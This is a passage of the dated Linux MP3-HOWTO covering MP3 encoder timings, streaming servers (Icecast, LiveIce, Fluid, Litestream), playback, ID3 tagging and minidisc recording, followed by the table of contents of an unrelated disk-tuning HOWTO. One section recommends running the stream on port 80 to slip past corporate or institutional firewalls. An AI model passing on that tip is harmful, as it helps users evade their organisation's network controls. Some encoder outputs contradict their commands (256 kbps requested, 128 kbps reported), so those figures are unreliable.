In the encoding sections I've mentioned 3 different encoders, bladeenc, lame and gogo. The main difference is their performance in encoding (although there are differences in the available options which were listed earlier).

A little example. I ripped a track from a CD and then encoded it with the different encoders. All encoders were run with the same system conditions and all produced stereo out mp3's.

[dj@megajukebox]$ ls -l cdda.wav
-rw-rw-r--   1 dj       dj       59823164 Feb 10 00:56 cdda.wav

[dj@megajukebox]$ bladeenc cdda.wav -br 256

BladeEnc 0.91    (c) Tord Jansson          Homepage: http://bladeenc.mp3.no
===============================================================================
BladeEnc is free software, distributed under the Lesser General Public License.
See the file COPYING, BladeEnc's homepage or www.fsf.org for more details.

Files to encode: 1

Encoding:  ../test.wav
Input:     44.1 kHz, 16 bit, stereo.
Output:    128 kBit, stereo.

Completed. Encoding time: 00:05:58 (0.78X)

All operations completed. Total encoding time: 00:05:58

--------------------------------------------------------------------------------

[dj@megajukebox]$ lame cdda.wav -b 256
LAME version 3.50 (www.sulaco.org/mp3)
GPSYCHO: GPL psycho-acoustic model version 0.74.
Encoding ../test.wav to ../test.wav.mp3
Encoding as 44.1 kHz 128 kbps j-stereo MPEG1 LayerIII file
    Frame          |  CPU/estimated  |  time/estimated | play/CPU |   ETA
 10756/ 10756(100%)| 0:02:28/ 0:02:28| 0:02:29/ 0:02:29|    1.9074| 0:00:00

--------------------------------------------------------------------------------

[dj@megajukebox]$ gogo cdda.wav -m s -b 256
GOGO-no-coda ver. 2.24 (Feb 12 2000)
Copyright (C) 1999 PEN@MarineCat and shigeo
          Special thanks to Keiichi SAKAI, URURI, Noisyu and Kei
MPEG 1, layer 3 stereo
inp sampling-freq=44.1kHz out sampling-freq=44.1kHz bitrate=256kbps
inp sampling-freq=44.1kHz out sampling-freq=44.1kHz bitrate=128kbps
input  file `../test.wav'
output file `../test.mp3'
{  10751/  10755} 100.0% (  2.94x)  re:[00:00:00.03] to:[00:01:35.42]
End of encoding
time=  95.430sec

It would appear that Gogo has a much optimised algorithm for encoding than Bladeenc and Lame.


The Linux MP3-HOWTO : Streaming MP3's.

 Next Previous Contents

11. Streaming MP3's.

A streaming server allows you to transmit MP3 files over a TCP based network. This can be the Internet itself or your local network / intranet.

The connection principal is very similar to that of a web server, files are streamed when a client (the MP3 player) connects to the server.

11.1 Icecast

After downloading and untaring, a good look around the doc/ directory would be a good thing, the HTML manual is very helpful and comprehensive.

If you have downloaded the source code, follow the instructions regarding compiling pertinent to your system.

Icecast will not work correctly unless you correctly set the servername in the config file, icecast.conf, which is located in the etc directory. It must match the name that resolves to your IP address exactly.

If you see the following line when Icecast starts-up you have problems:

-> [05/Jan/2000:17:21:04] WARNING: Resolving the server name [your.server.name] does not work!

Edit icecast.conf which is located in the etc directory and locate the line containing the entry for "server_name" and enter your servers name. If you are unsure you can find out by using the hostname command, or by cat'ing /etc/hosts.

Once you've made the neccesary changes you'll need to either copy the conf file to the bin directory, or start icecast with the -c option and specify the location, like so:

[dj@megajukebox bin]$ ./icecast -c ../etc/icecast.conf

If everything has been configured correctly, you should see something similar to the following:

[dj@megajukebox bin]$ ./icecast -c ../etc/icecast.conf -d /home/dj/mp3/icecast/
Icecast Version 1.3.0 Starting...
Icecast comes with NO WARRANTY, to the extent permitted by law.
You may redistribute copies of Icecast under the terms of the
GNU General Public License.
For more information about these matters, see the file named COPYING.

[05/Jan/2000:18:36:30] Icecast Version 1.3.0 Starting..
[05/Jan/2000:18:36:30] Using stdin as icecast operator console
[05/Jan/2000:18:36:30] Tailing file to icecast operator console
[05/Jan/2000:18:36:30] Server started...
[05/Jan/2000:18:36:30] Listening on port 8000...
[05/Jan/2000:18:36:30] Using [megajukebox] as servername...
[05/Jan/2000:18:36:30] Max values: 1000 clients, 1000 clients per source, 10 sources, 5 admins
-> [05/Jan/2000:18:36:30] [Bandwidth: 0.000000MB/s] [Sources: 0] [Clients: 0] [Admins: 1] [Uptime: 0 seconds]

The -d option sets the directory for log files and templates.

Below is the list of command-line options:

        -c [filename]

Parse as a configuration file. Please note that any command line
parameters you supply after this override whatever is in file. Also note that
icecast.conf in the current directory is already parsed when you specify
this file, so anything in icecast.conf not overridden by the new configuration
file will be used by the server.

        -P [port]

This is the port used for all client, source, and admin connections. It's set
to 8000 by default.

        -m [max clients]

Allow this number of client connections. When this number is reached, all
client connections will be refused with 'HTTP/1.0 504 Server Full'

        -p [encoder password]

This sets the password that the encoder must use to be allowed to stream
to the server. Note that if you have compiled the server with crypt()
support, this argument must be an encrypted string.

        -b

This will send the icecast server into the background (i.e daemon process).
To use the admin commands now, you have to connect to the server as an
admin, using some sort of telnet client.

        -d [directory]

Make all log files created by icecast, and all templates that icecast looks
for be relative to this directory.

So, thats the server started, but you now need to connect an MP3 source to the server.

You can choose from two applications which deliver MP3 data to the server, Shout and LiveIce.

Shout

Shout provides Icecast with a static playlist of MP3's to stream and is included with Icecast.

You create the playlist if the MP3 files you want to stream with the following:

find [MP3 directory] -name '*.mp3' -print > playlist

At it's most basic level, to start the shout service, issue the following:

[dj@megajukebox bin]# ./shout megajukebox -P hackme -p playlist

The -P option specifies the password needed to add a mount-point to Icecast, this is the aptly set as hackme..... I strongly suggest you change it otherwise someone may :) The -p option specifies the location of the playlist file. Below is a list of all of the command line options:

[dj@megajukebox bin]# ./shout
Usage: shout <host> [options] [[-b <bitrate] file.mp3]...
Options:
        -B <directory>       - Use directory for all shout's files.
        -C <file>    - Use file as configuration file
        -D <dj_file> - Run this before every song (system())
        -P <password>        - Use specified password
        -S              - Display all settings and exit
        -V              - Use verbose output
        -X <desc>    - Use specified description.
        -a              - Turn on automatic bitrate (transfer) correction
        -b <bitrate> - Start using specified bitrate
        -d              - Activate the dj.
        -e <port>    - Connect to port on server.
        -f              - Skip files that don't match the specified bitrate
        -g <genre>   - Use specified genre
        -h              - Show this text
        -i              - Use old icy headers
        -k              - Don't truncate the internal playlist (continue)
        -l              - Go on forever (loop)
        -m <mount>   - Use specified mount point
        -n <name>    - Use specified name
        -o              - Turn of the bitrate autodetection.
        -p <playlist>        - Use specified file as a playlist
        -r              - Shuffle playlist (random play)
        -s              - (Secret) Don't send meta data to the directory server
        -u <url>     - Use specified url
        -v              - Show version
        -x              - Don't update the cue file (saves cpu)
        -z              - Go into the background (Daemon mode)
        -t              - Enable title streaming

LiveIce

LiveIce can work in 2 modes, it can pass a playlist to Icecast or can pass live audio from the soundcard.

After untaring and reading the README concerning building the package, make sure you have mpg123 installed and available as LiveIce requires it.

There are two ways of configuring LiveIce editing the config file with vi/emacs/or whatever or by using the TK based configuration tool, which is a pretty way of editing it :)

The best place for describing the internals of liveice.cfg can be found at LiveIce's homepage where Scott covers all of the options.

This is a copy of my config file with LiveIce set to mixer mode (stream from a list of MP3's)

NOTE: I've added comments to the file, so if you cut and paste make sure the comments haven't wrapped around to a new line otherwise LiveIce will not work :)

# liveice configuration file
# Automatically generated

SERVER megajukebox              # Your server name * MUST BE THE NAME THE SERVER RESOLVES TO *
PORT 8000                       # The port Icecast is running on

NAME Megajukebox                # Information regarding the name of your server which is sent to MP3 players, and
                                # to directory servers.
                                # Examples 'Sarah FM' or 'ThisTown: Loud and Heavy Jazz - Internet Radio 24/7'

GENRE Live                      # Information regarding the genre.  Examples 'Talk' or 'Dance'

DESCRIPTION                     # Information regarding the station.  Example 'The best for reggae in the North'

URL http://megajukebox:8000     # The URL and port of the server.

PUBLIC 0                        # Set this to 1 if you want Icecast to announce your station and list it's details
                                # on a directory server, otherwise leave 0

XAUDIOCAST_LOGIN                # can be either ICY_LOGIN or X_AUDIOCAST_LOGIN.  X_AUDIOCAST is better.

MOUNTPOINT /techno              # Sets the mountpoint name of the stream for Icecast.  Only used if X_AUDIOCAST is used
                                # otherwise defaults to icy_0

PASSWORD hackme                 # Icecast's admin password

SAMPLE_RATE 44100               # The sample rate of the stream
STEREO                          # Can be MONO or STEREO

NO_SOUNDCARD                    # See below

HALF_DUPLEX                     # Sets the soundcard duplex mode.  Can be HALF_DUPLEX or FULL_DUPLEX
USE_GOGO                        # Sets the encoder to use.  Check the README for the list
BITRATE 128000                  # Sets the bit rate of the stream (see below)
VBR_QUALITY 1                   # Sets the variable bit rate quality.

MIXER                           # See below

PLAYLIST /megajukebox/playlist  # Location of the playlist (see details on the find command later in this chapter)

TRACK_LOGFILE track.log         # Filename and location to dump list of MP3's streamed
Once you have your config file you start LiveIce like so:
[dj@megajukebox liveice]$ ./liveice
/megajukebox/playlist
1
opening connection to megajukebox 8000
Attempting to Contact Server
connection successful: forking process
opening pipe!...
writing password
Setting up Interface
Soundcard Reopened For Encoding
Input Format: 16Bit 44100Hz Stereo
Output Format: 256000 Bps Mpeg Audio
IceCast Server: megajukebox:8000
Mountpoint: /techno
Name: megajukebox - this and that radio - broadcasting 24/7
Genre: Techno
Url: http://megajukebox.com
Description: a load of digital noise -> but i know you like it :)

 Press '+' to Finish
adding /megajukebox/demotunes/track_1.mp3
adding /megajukebox/demotunes/track_2.mp3
adding /megajukebox/demotunes/track_3.mp3
adding /megajukebox/demotunes/track_4.mp3
/megajukebox/demotunes/track_4.mp3
Adding New Channel 1
Adding New Channel 2
Channel 1 selecting
 /megajukebox/demotunes/track_1.mp3
Channel 2 selecting
 /megajukebox/demotunes/track_1.mp3
Playing track_1.mp3
searching for Id3v2
searching for Id3v1
copying the data
fixing the nulls
adding the url
closing input file
Using log track.log

The last line is a peak meter.

These are the keyboard controls for mixer mode:

Action                          Channel 1 Key   Channel 2 Key
~~~~~~                          ~~~~~~~~~~~~~   ~~~~~~~~~~~~~
Select next track on channel    1               a
Select prev track on channel    q               z
Start/Stop channel              2               s
Reset channel                   w               x
Increase volume on channel      3               d
Decrease volume on channel      e               c
Increase speed on channel       4               f
Decrease speed on channel       r               v
Sticky mode On/Random/Off       5               g
Preview channel                 t               b
Random Track                    u               m

The above liveice.cfg is for mixermode. To use LiveIce in audio mode change the line relating to MIXER to NOMIXER and set NO_SOUNDCARD to SOUNDCARD and restart LiveIce.

Forgetting to set the correct options will lead to some interesting warning ;)

   946:Error: Line In mode *and* no soundcard??????? Eeejit!

Once you have it all correctly set up and have plugged in an external source, you should be able to stream =:)

[dj@megajukebox liveice]$ ./liveice
/megajukebox/playlist
0
Initialising Soundcard
16Bit 22050Hz Stereo Full Duplex
opening connection to megajukebox 8000
Attempting to Contact Server
connection successful: forking process
opening pipe!...
writing password
Setting up Interface
Soundcard Reopened For Encoding
Input Format: 16Bit 22050Hz Stereo
Output Format: 32000 Bps Mpeg Audio
IceCast Server: megajukebox:8000
Mountpoint: /daves_band_live_at_the_club
Name: megajukebox - Dave and the Dynamite - Live at the Roxy
Genre: Live/Rock
Url: http://megajukebox
Description: megajukebox::Louder than a frog in a trashcan..... and almost as musical

 Press '+' to Finish
Lvl: L:   8704 R:  11776

The last line is a signal level meter, if the input signal is too high you will get a *clip* warning. If you do, turn down the gain of the input source.

The keen eyed amongst you may of noticed that in liveice.cfg the first comment lines point out that the file is automatically generated. If you are using the TK based GUI liveiceconfigure.tk and you've made manual changes, you will lose them when you save. Either use the GUI or learn vi/emacs :)

11.2 Fluid

After untaring the bundle cd to the directory, then read the README :)

Fluid has three basic modes of operation, transmit, relay and forward. I'll only focus on transmit.

The config files associated for transmit are located in config/MP3TX.cfg. To test the server run with the following, at this point the default config settings should be ok:

java Fluid TX

Naturally enough you'll need Java of some form installed first. You can use either the Blackdown port of JDK available from http://www.blackdown.org or if you are using Redhat, Kaffe.

Fluid comes with a few sample MP3 files, so if everything is working you should see something similar to this (I've started the server using Kaffe in this example, you may have to start it using java):

[dj@megajukebox Fluid-Beta2J]$ kaffe Fluid tx
------- Fluid Streaming Server Beta 2 -------
This program is ShareWare(tm) and it will not
be crippled in any way because of it. However
if you do like the program and will use it
commercial purposes, we ask of you to contact
us at the address below for pricing info:

 Eldean AB                  E-mail:
 Sjoangsvagen 7             fluid@subside.com
 S-192 72 Sollentuna
 SWEDEN

   Fluid is Copyright Subside (C) 1998
       written by Lars Samuelsson
         http://www.subside.com
---------------------------------------------

* Transmission mode *
Reading config from: config/MP3TX.cfg
Reading playlist: playlist.m3u
Server started on port: 2711
Accepting administrator login on port: 2710
P| Dr. Nick - Hello Everybody
If you get this far, it looks like things are working, but I'm sure you'll want to stream more than the demo files!

You'll need to compile a playlist of the MP3's you want to stream. This will be a static list users will not be able to alter this list or make requests. This playlist is named playlist.m3u and is located by default in the root directory.

To compile a playlist of all MP3's in a particular directory (or disk) use the following command:

find [MP3 directory] -name "*.mp3" -print > playlist.m3u
By default the server uses port 2711, which is where your listeners will connect to, if you need to change this this can be done in the config file.

The server can be remotely administered by telneting to it's admin port, by default port 2710 like so:

[dj@megajukebox Fluid-Beta2J]$ telnet localhost 2710
Trying 127.0.0.1..megajukebox
Connected to localhost.localdomain.
Escape character is '^]'.
jaguar
You are connected to the -Fluid- Streaming Server
Type "help" for a command reference
help
The following commands are available:
 help conn curr exit
curr
Information about the currently broadcasted song:
Title:   Beer Talk
Artist:  Homer Simpson
Album:   The Simpsons
Year:    1996
Comment: Borrowed this as an example
Genre:   Comedy
The reference to "jaguar" is the admin password, this is the default. There is no prompt for the password so please don't sit there waiting for one! I suggest that you change the password from the default otherwise you will invite a hack! This can be changed in the config file, which looks like this:
[dj@megajukebox config]$ cat MP3TX.cfg
2711
2710
5
4096
32
1000
jaguar
playlist.m3u
current.txt

# --- The lines are ---
# 1. PORT number (the server will use)
# 2. PORT number (for maintaining the server remotely)
# 3. Maximum number of connections (the server will accept)
# 4  Packetsize when reading/sending (in bytes)
# 5. Bitrate of the mp3s in kbit/s (all mp3s must have same bitrate)
# 6. Delay between songs (in milliseconds)
# 7. Password for remote administration
# 8. Playlist name (list in .m3u format)
# 9. Name of the file to write song info to (from ID3-tag)
The reference to the playlist being in m3u format means that it is in the same format as produced by the find command mentioned earlier.

Update for RC1

Fluid has been updated, and released under a GPL License (Way to go Lars!)

Here are the main differences:

  • A new format fluid.config
  • A new default port 4711
  • A new method of starting and stopping. Fluid now used the scripts fluid.start and fluid.stop
  • Source code is now part of the dist. Yippee!

11.3 Litestream

Litestream is similar in it's operation to Icecast. The system is composed of the streamer and the source.

To start the streamer you issue a command in the following format:

[dj@megajukebox]$ litestream <source port> <stream host> <stream port> <max listeners> <log ident> [<yp host> <yp port>]

The options are as follows:

source port Is the port you connect the 'audio' source to.

stream host This is the IP or FQDN of your server (find this out with the hostname command for domain name or cat /etc/hosts for your IP address).

stream port This is the port number clients connect to.

max listeners This is the number of clients who can connect to your server.

log ident Log messages are written to /var/log/messages. <log ident> is a ident string used to identify the Litestream server, eg.

If you use the ident string 'Litestream' the server starting message in /var/log/messages would look similar to:

Sep 18 19:32:20 linux Litestream[1901]: stream.c:555: main: 'server started'

<yp host & yp port> These 2 options specify the host and port of an yp server, used to announce your server to mp3 directory servers.

Here is an example:

[dj@megajukebox]$ litestream 5000 megajukebox 5555 1000 LitestreamServer

Ok, so that's the server system. Once started it sit's there waiting for an input to be connected, which is done with the source command.

The format is like so:

source <ip or hostname> <port> <name> <genre> <url> <irc> <icq> <aim> <public? (0, 1)> <reported bitrate (16, 18, 56, 128, etc.)> <playlist.txt> <log ident>

Below is the list of options for source.

ip or hostname is the hostname or IP address of the computer running Litestream Server.

port is the port on which Litestream Server is waiting for a streaming source.

name is the name of your stream.

genre is the genre of your stream.

url is the URL for your streams web page.

irc is the IRC channel for your stream.

icq is your ICQ ID.

aim is your AIM ID.

public is either 0 or 1. 0 for private, 1 for public.

reported bitrate is the stream bitrate which will be reported to the YP server. This does not necessarily reflect the actual bitrate of your stream.

playlist.txt is the name of the file containing your playlist.

log ident is the syslog identifier which will be prepended to each log message generated by Litestream Streaming Source.

Here is an example which would match the Litestream command earlier:

[dj@megajukebox]$ source megakukebox 5000 'Megajukebox  The best jukebox ever' Various  http://www.megajukebox.com \#megajukebox 0 N/A 1 128 /jukebox/playlist LitestreamSource

11.4 Apache::MP3 Module

The Apache:MP3 module allows the Apache WebServer to stream MP3's. It does not offer the same level of features as Fluid, Litestream & Icecast.

The module is dependant on MP3::Info and mod_perl, both of which are available on CPAN.

After downloading the files needed a read of the README will help things!

Firstly make the module, then make the config changes to Apache's config files (your changes may be made in either httpd.conf or srm.conf).

You will also have to create directories for icons and a directory hierarchy for MP3's.

Section 6 of the README details the editing (or creation) of a Perl config file.

This is to preload the MP3::Info module which without this may cause Apache to crash.

In httpd.conf create an entry like so:

 Perlrequire /etc/httpd/conf/startup.perl

Alter the /etc/httpd/conf reference to point to where your Apache config files are located on your system.

Now create the file startup.perl at the location specified above. At the very minimum you should have the following (again adjust the path of perl to fit your system).

[dj@megajukebox conf]$ cat /etc/httpd/conf/startup.perl

#!/usr/bin/perl

use MP3::Info();

Then restart Apache and point a web browser at one of your new MP3 directories :)

There is more documentation available on Apache::MP3, from the command-line run the following:

[dj@megajukebox conf]$ perldoc Apache::MP3

11.5 Firewall Bypassing

A large portion of companies and institutions now use firewalls to block users from connecting to certain ports on remote servers.

A way to bypass this is to run your MP3 server using port 80. You will not be able to run a webserver on the same URL or IP address.

When running Icecast in 'firewall bypass' mode you will need to start shout with the option to set the port to port 80, like so:

[dj@megajukebox bin]$ ./shout megajukebox -e 80 -P hackme -p ../playlist

11.6 Bandwidth considerations

Streaming audio can consume vast quantities of bandwidth if the MP3 servers' bit-rate is set too high.

Consider this scenario. A T1 link has a capacity of approx. 1.55 Mb/Sec. If you stream your MP3's at 128K/Bps stereo, each connecting player will use 256K/Bps, so only 6 users could connect to your MP3 server at any time without problems. And at 256K/Bps, you will not get too many modem users connecting!

So you must make a decision at what to set your stream rates not only on what your server's internet connection is rated at, but what your users will be connecting at. 24K/Bps Stereo will give a reasonable quality signal that 56K modem users will be able to connect to, and for the same T1 line would allow approx. 32 simultaneous connections.

If your server is running on an Intranet, bandwidth issues will still have to be considered especially if your network is running 10M/Sec.

But please let either your ISP or sys admin know you are going to stream otherwise you may be in for a shock. Some ISP's will charge you for bandwidth over a certain limit and sys admins like to know why their network is now running slow :)

11.7 Copyright Issues

I think it's reasonable to assume that record companies will not like you streaming material without their permission or payment of some kind! So what can you stream?

This is an area where you will need to be aware of the legal ramifications, because it will be you who will be liable.

Below are two links, one for the Electronic Frontier Foundation who are advocates of freeing restrictions surrounding the technology. The other link is to the Recording Industry Association of America, which seeks to protect the rights of artists from piracy.

I strongly suggest visiting both of the sites, and any others relevant to where you are physically based.

http://www.eff.org/cafe/

http://www.riaa.com/weblic/weblic.htm


The Linux MP3-HOWTO : Listening to MP3's.

 Next Previous Contents

12. Listening to MP3's.

So, hopefully, you should now have some MP3 files ready to listen to, and have the choice of playing from file or stream.

12.1 Playing from File

Playing from file is reasonably straight-forward with all players. The only big difference is some are command-line based and some are X based.

Playing an MP3 file from file requires you to pass the mp3 file as a parameter, like so:

[dj@megajukebox]$ mpg123 /mp3_files/SampleFile.mp3

or

[dj@megajukebox]$ xaudio /mp3_files/SampleFile.mp3

If you want to play a series of files, pass them in as a list:

[dj@megajukebox]$ alsaplayer /mp3_files/SampleFile1.mp3 /mp3_files/SampleFile2.mp3

To play all the tracks in a directory, just wildcard the file selected, like so:

[dj@megajukebox]$ xmms /mp3_files/*.mp3

12.2 Playing from MP3 Streams

Playing from a MP3 stream is quite easy, just replace the file with the streams url and port number:

[dj@megajukebox]$ mpg123 http://localhost:8000

or

[dj@megajukebox]$ freeamp http://megajukebox:2711

12.3 Capturing MP3 Streams

A stream from a MP3 server can be captured and save locally using the following:

Streamripper

To capture an MP3 stream using streamripper, type the following:

[dj@megajukebox]$ streamripper -h megajukebox -p 8000
Press CTRL-C to stop
name: Megajukebox
reponse: 200
genre: Megajukebox
url: http://www.megajukebox.com/
bitrate: 128
This stream contains no meta data, ripping as one large ass track
1st track ripped
socket error: : Success

Here's a list of options.

[dj@megajukebox]$ streamripper
Usage: streamripper -h <host> -p <port> [-d dir]
Options:
        -h <host>      - Required: The host name
        -p <port>      - Required: The host port, typically 8000
        -d <dir>       - Optional: The destination directory
        -l <logfile>   - Optional: Output everything to a log file <logfile>
        -v             - Optional: Be extra verbose
        -c             - Optional: Don't display status counter
        -q             - Optional: Quiet mode, don't make mp3 files
        -s             - Optional: Output stream to stdout for mpg123
        -n             - Optional: Wait until next track before writing
        -o             - Optional: Create a directory with the stream name for output

wget

To save a stream using wget:

[dj@megajukebox]$ wget http://megajukebox:8000 -O download01.mp3
--13:41:41--  http://megajukebox:8000/
           => `download01.mp3'
Connecting to megajukebox:8000... connected!
HTTP request sent, awaiting response... 200 OK
Length: unspecified [audio/mpeg]

    0K -> .......... .......... .......... .......... ..........
   50K -> .......... .......... .......... .......... ..........
  100K -> .......... .......... .......... .......... ..........
  150K -> .......... .......... .......... .......... ..........
  200K -> .......... .......... .......... .......... ..........
  250K -> .......... .......... .......... .......... ..........
  300K -> .......... .......... .......... .......... ..........
  350K -> .......... .......... .......... .......... ..........
  400K -> .......... .......... .......... .......... ..........
  450K -> .......... .......... .......... .......... ..........
  500K -> .......... .......... .......... .......... ..........

12.4 Mixing

eMixer

eMixer gives you the ability to mix MP3's in a similar manner to a DJ's mixing desk.

Newer versions support 2 sound cards so you can output your mix on one card and monitor or cue the next track on another.

As usual once untaring, read the readme on how to build the package.

You will need to create a playlist of MP3 files, do this with the find command mentioned in the Streaming section.

You will need mpg123 installed before you can run eMixer.

Here are the control keys (taken from the readme)

KEYBOARD CONTROLS
"up, down"              scroll thru playlist
"page up, page down"    scroll thru playlist screen full at a time
"enter"                 start/stop track
"tab"                   change channel
"}","]"                 toggle between volume and speed controls/windows
"space"                 restart active track
"left, right"           fader controls
"insert"                decrease volume/speed in channel one
"home"                  increase volume/speed in channel one
"delete"                decrease volume/speed in channel two
"end"                   increase volume/speed in channel two
"< , / , >"             left, center & right positions of fader
" + , = "       (NEW)   switch between faders
" q "                   start/stop channel channel one
" w "                   start/stop channel channel two
" p "                   toggle between playmodes - single, loop, continuous, random
" a "                   stop all channels
" f "                   file menu
" u "                   util menu
" h "                   help menu
" ~, ` "                cancel menu drop down
" s "                   turn SIM Play on
                        (SIM Play starts the same track in both channels
                        simultaneously )

GDAM

GDAM is a GUI based MP3 mixer with a large bank of built in, real-time effects.


The Linux MP3-HOWTO : ID3 Editing.

 Next Previous Contents

13. ID3 Editing.

ID3 tags are information fields contained within the MP3 data that contain information about the MP3 such as who the artist is, what album the track came from, and so on.

Editors allow you to view and edit this information.

13.1 id3ed

[dj@megajukebox]$ id3ed
id3ed v1.10 - mpeg layer 3 file information editor
Usage: id3ed [-s songname] [-n artist] [-a album] [-y year] [-c comment]
             [-k tracknum] [-g genre] [-q] [-SNAYCKG] [-l/-L] [-r]
             [-i] <mp3files> [-v]

  -q                    no line interface; only set tags specified on command
                        line. Use twice to suppress all output except errors.
  -SNAYCKG              prompt to edit the specified tags only
                        Other tags can still be set with the -[snaycg] options.
  -l/-L                 display list of genres
  -r                    remove id3 tag from files
  -i                    show current id3 tag only, don't edit
  -v                    output program version/license

[dj@megajukebox MyBand]$ id3ed track01.mp3

File track01.mp3: (tag v1.1)
songname[max:30]: Our Kick Ass Demo
artist[max:30]: Us
album[max:30]: White Album
year[max:4]: 1999
comment[max:28]: Will be a classic some day!
tracknum[max:3]: 1
genre[0-255/name]: 5

If we now want to see the Id info we run id3ed with the -i flag, like so:

[dj@megajukebox MyBand]$ id3ed -i track01.mp3
track01.mp3: (tag v1.1)
songname: Our Kick Ass Demo
artist: Us
album: White Album
year: 1999
comment: Will be a classic some day!
tracknum: 1
genre: Funk(5)

13.2 mp3info

MP3info works in a similar manner to id3ed, here is a snippet from it's man pages:

SYNOPSIS
       mp3info [ -option < value > ] filename[s]...

DESCRIPTION
       This is a small tool to get and set MP3 information.

OPTIONS
       -T     Do  NOT  get  TAG  Info.  Use on slowseeking media,
              since TAG is at the very end of the file.

       -s <0/1>
              Print info. Pretty  much  obsolete,  as  it  always
              should be on.  Defaults 1.

       -f <format>
              Format of printed string. See README for details.

       -F <Formatnumber>
              Predefined format of printed string. Try it out.

       -w     Write  TAG Info. Will write a TAG at the end of the
              file.
       -W     Wipe TAG Info. Will wipe clean TAG Info.  Overrides
              all  other  TAG  Options, and turns -s off. To both
              wipe tag and display info, use -W -s 1

       -n <name>
              Set song title. Implies -w. Will go away soon,  use
              -t instead.

       -t <name>
              Set song title. Alias for -n. Implies -w.

       -a <artist>
              Set name of artist. Implies -w.

       -l <album>
              Set album name. Implies -w.

       -y <year>
              Sets published year. Implies -w.

       -c <comment>
              Sets comment. Implies -w.

       -g <genre>
              Set genre number. Implies -w.

       -G <genrename>
              Set genre by name. Implies -w.

13.3 ID3 Genre codes

ID3 uses a code to refer to the genre, here is the code listing [info taken from http://www.id3.org/id3v2-00.txt].

The following genres are defined in ID3v1

      0.Blues
      1.Classic Rock
      2.Country
      3.Dance
      4.Disco
      5.Funk
      6.Grunge
      7.Hip-Hop
      8.Jazz
      9.Metal
     10.New Age
     11.Oldies
     12.Other
     13.Pop
     14.R&B
     15.Rap
     16.Reggae
     17.Rock
     18.Techno
     19.Industrial
     20.Alternative
     21.Ska
     22.Death Metal
     23.Pranks
     24.Soundtrack
     25.Euro-Techno
     26.Ambient
     27.Trip-Hop
     28.Vocal
     29.Jazz+Funk
     30.Fusion
     31.Trance
     32.Classical
     33.Instrumental
     34.Acid
     35.House
     36.Game
     37.Sound Clip
     38.Gospel
     39.Noise
     40.AlternRock
     41.Bass
     42.Soul
     43.Punk
     44.Space
     45.Meditative
     46.Instrumental Pop
     47.Instrumental Rock
     48.Ethnic
     49.Gothic
     50.Darkwave
     51.Techno-Industrial
     52.Electronic
     53.Pop-Folk
     54.Eurodance
     55.Dream
     56.Southern Rock
     57.Comedy
     58.Cult
     59.Gangsta
     60.Top 40
     61.Christian Rap
     62.Pop/Funk
     63.Jungle
     64.Native American
     65.Cabaret
     66.New Wave
     67.Psychadelic
     68.Rave
     69.Showtunes
     70.Trailer
     71.Lo-Fi
     72.Tribal
     73.Acid Punk
     74.Acid Jazz
     75.Polka
     76.Retro
     77.Musical
     78.Rock & Roll
     79.Hard Rock

   The following genres are Winamp extensions

     80.Folk
     81.Folk-Rock
     82.National Folk
     83.Swing
     84.Fast Fusion
     85.Bebob
     86.Latin
     87.Revival
     88.Celtic
     89.Bluegrass
     90.Avantgarde
     91.Gothic Rock
     92.Progressive Rock
     93.Psychedelic Rock
     94.Symphonic Rock
     95.Slow Rock
     96.Big Band
     97.Chorus
     98.Easy Listening
     99.Acoustic
    100.Humour
    101.Speech
    102.Chanson
    103.Opera
    104.Chamber Music
    105.Sonata
    106.Symphony
    107.Booty Bass
    108.Primus
    109.Porn Groove
    110.Satire
    111.Slow Jam
    112.Club
    113.Tango
    114.Samba
    115.Folklore
    116.Ballad
    117.Power Ballad
    118.Rhythmic Soul
    119.Freestyle
    120.Duet
    121.Punk Rock
    122.Drum Solo
    123.A capella
    124.Euro-House
    125.Dance Hall


The Linux MP3-HOWTO : MP3 to Minidisc.

 Next Previous Contents

14. MP3 to Minidisc.

By Afra <afra@prongs.org>

To record MP3s from Linux to your minidisc, there are two methods: analog and digital. Each method is dependant on the type of soundcard your Linux box has. The main difference between analog and digital recordings is the sound quality you achieve during recording. With an analog recording you may hear some static noise/fuzz, although some analog soundcards try to minimize this. Don't think that just because you have an analog sound card that you are doomed, because you are not. This just means you will have to spend a little time trying to minimize the noise by fiddling with mixer settings.

No special software is required, just a regular MP3 player for your Linux box. Basically both methods will require a connection from your soundcard's output to your Minidic's input.

14.1 Analog Recording

If your soundcard does not have a "Digital Out" connection, you may will have to go via the analogue recording route.

To record an MP3 from your Linux box onto your Minidisc, connect an analog chord from your sound card's Line Out to your Minidisc's Line In input. Set your Minidisc in the recording mode as you usually would and play the MP3. You should see the recording levels on your Minidisc rise. Upon playback, you may notice a small or large amount of static noise, which is due to your soundcard.

To minimize the static noise during recording, keep your Minidisc's recording/volume levels within the -3dB and 0dB range. To help clear up the noise you may hear connect up your Minidisc as described above and turn on the Recording Mode but do not play an MP3. You should still hear the noise and this may help in fiddling with your mixer effects.

14.2 Digital Recording

You will experience better sound quality with digital recording. Connect your optical cable (if you have to buy one, the sizes of the MD and card port matter, usually 3.5mm but check your soundcard and Minidisc user manual) to your sound card's Digital Out.

The cable should now be glowing on the other end - good. Now, connect the glowing end to your minidisc Digital Input. Set your minidisc in record mode and play the mp3 from the computer.

14.3 Playlists

There is one problem when playing MP3 tracklistings: how will your Minidisc know when to set an automark when a track jumps onto another (ie. change track numbers automatically)? The solution is this MP3 file which you can download at http://www.prongs.org/minidisc/2sec.zip.

You may use this file, which is an MP3 file containing 2 seconds of silence, to insert before each MP3 on your playlist, so the MD will know when to automark.


The Linux MP3-HOWTO : Feedback.

 Next Previous Contents

15. Feedback.

New hardware and software is being released all the time. If you are using newer versions of the hardware and / or software listed within this document, or can add to anything within this area, please send your information for inclusion to phil@plus24.com and I'll include it in the next release.

While I'd like to reply to every question, please note that on occasions I will not be able to reply quickly due to work.

Happy MP3'ing!!


HOWTO: Multi Disk System Tuning

Stein Gjoen, sgjoen@nyx.net

v0.33a, 20 May 2002

This document describes how best to use multiple disks and partitions for a Linux system. Although some of this text is Linux specific the general approach outlined here can be applied to many other multi tasking operating systems.

1. Introduction

  • 1.1 Copyright
  • 1.2 Disclaimer
  • 1.3 News
  • 1.4 Credits
  • 1.5 Translations

2. Structure

  • 2.1 Logical structure
  • 2.2 Document structure
  • 2.3 Reading plan

3. Drive Technologies

  • 3.1 Drives
  • 3.2 Geometry
  • 3.3 Media
  • 3.4 Interfaces
  • 3.5 Cabling
  • 3.6 Host Adapters
  • 3.7 Multi Channel Systems
  • 3.8 Multi Board Systems
  • 3.9 Speed Comparison
  • 3.10 Benchmarking
  • 3.11 Comparisons
  • 3.12 Future Development
  • 3.13 Recommendations

